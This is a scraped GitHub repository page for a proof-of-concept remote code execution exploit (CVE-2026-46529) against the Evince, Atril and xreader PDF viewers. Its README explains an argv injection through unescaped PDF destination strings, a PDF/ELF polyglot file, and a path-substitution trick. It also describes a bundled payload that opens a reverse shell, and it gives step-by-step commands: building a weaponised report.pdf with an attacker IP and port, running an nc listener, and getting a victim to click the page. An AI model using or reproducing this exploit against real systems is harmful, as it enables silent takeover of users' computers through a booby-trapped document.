POC for CVE-2026-46529 – RCE via PDF argv injection

zdkaster1 pts1 comments

GitHub - N1et/CVE-2026-46529: Evince/xreader/Atril RCE exploit to CVE-2026-46529 · GitHub

/" data-turbo-transient="true" />

Skip to content

Search or jump to...

Search code, repositories, users, issues, pull requests...

-->

Search

Clear

Search syntax tips

Provide feedback

--><br>We read every piece of feedback, and take your input very seriously.

Include my email address so I can be contacted

Cancel

Submit feedback

Saved searches

Use saved searches to filter your results more quickly

-->

Name

Query

To see all available qualifiers, see our documentation.

Cancel

Create saved search

Sign in

/;ref_cta:Sign up;ref_loc:header logged out"}"<br>Sign up

Appearance settings

Resetting focus

You signed in with another tab or window. Reload to refresh your session.<br>You signed out in another tab or window. Reload to refresh your session.<br>You switched accounts on another tab or window. Reload to refresh your session.

Dismiss alert

{{ message }}

N1et

CVE-2026-46529

Public

Notifications<br>You must be signed in to change notification settings

Fork

Star

main

BranchesTags

Go to file

CodeOpen more actions menu

Folders and files<br>NameNameLast commit message<br>Last commit date<br>Latest commit

History<br>6 Commits<br>6 Commits

README.md

README.md

build_polyglot.py

build_polyglot.py

evil_gtk_module.c

evil_gtk_module.c

exploit.sh

exploit.sh

View all files

Repository files navigation

RCE via PDF argv injection (CVE-2026-46529) (atril/xreader/evince)

Working proof-of-concept for the argv injection in ev_spawn()<br>(shell/ev-application.c). A single click anywhere on the rendered<br>page of a crafted PDF triggers arbitrary code execution as the user<br>running the viewer.

This release uses the %f-substitution technique: the dlopen target<br>path is discovered by the viewer itself at runtime, so the attacker<br>needs zero knowledge of where the polyglot lands on the victim's<br>filesystem (no username, no $HOME, no download directory).

POC

Screen.Recording.2026-05-15.at.02.28.19.mp4

What's in this bundle

File<br>Purpose

exploit.sh<br>One-shot wrapper: compile + build polyglot in a single command.

evil_gtk_module.c<br>Source of the payload. Constructor opens a reverse shell and drops a marker at /tmp/PWNED_atril_.txt.

build_polyglot.py<br>Polyglot builder. Combines a compiled evil.so with a minimal PDF body containing the /GoToR action and the %f smuggle.

You must build on a Linux host matching the victim's architecture.<br>evil_gtk_module.c is portable across archs; the resulting ELF is<br>arch-specific. macOS cannot produce the .so because Apple's linker<br>doesn't accept GNU build-id flags.

The vulnerability in one paragraph

ev_spawn() builds the spawn command line by interpolating the PDF's<br>/D (named destination) and /F (file specification) strings without<br>g_shell_quote. The result is parsed back into argv by<br>g_app_info_create_from_commandline → g_shell_parse_argv. Crafting<br>/D with a leading space and --gtk-module=... causes the spawned<br>child viewer to receive --gtk-module= as a standalone argv element,<br>which gtk_init() honors via g_module_open() (i.e. dlopen). Any<br>constructor in the loaded ELF runs as the victim.

The polyglot is a single file that is simultaneously a valid PDF and a<br>valid ELF shared library — the %PDF-1.4 marker is stamped inside the<br>.note.gnu.build-id SHA1 slot (offset 0x1d8), which poppler accepts<br>because it scans the first 1024 bytes for the magic and ld.so accepts<br>because the build-id contents are informational.

The %f trick (this release) closes the last piece. Instead of<br>hardcoding the polyglot's path inside the PDF, we embed glib's %f<br>placeholder. glib's g_app_info_launch_uris substitutes %f with the<br>local-path form of the URI that atril resolved at runtime via<br>g_path_get_dirname(source_uri) + /F.basename. The spawned child's<br>argv ends up containing --gtk-module=, dlopen<br>succeeds, RCE.

/F is set to ?1 rather than just because<br>ev_application_open_uri_at_dest() short-circuits and just navigates<br>(instead of spawning) when the resolved /F URI equals the source URI.<br>The trailing query string makes the URI distinct; glib's<br>g_filename_from_uri strips it when building %f.

How to reproduce

Quick start

./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444

Output: report.pdf with the reverse-shell target baked in. Deploy<br>to the victim with the same basename (any directory), start a<br>listener, have them open it in atril and click anywhere on the page.

# Attacker:<br>nc -lvnp 4444

# Victim:<br>atril /any/where/report.pdf<br># click anywhere on the rendered page → shell back

The basename embedded in /F is derived from the output filename, so<br>the polyglot expects to be deployed as report.pdf. The directory<br>does not matter — atril resolves the full path at runtime via the<br>%f substitution. The Link annotation covers the entire MediaBox,<br>so any click fires the action. A marker file is also written to<br>/tmp/PWNED_atril_.txt.

All exploit.sh options

-o, --output FILE Output PDF path (default: polyglot.pdf)<br>--ip IP...

polyglot argv atril exploit file search

Related Articles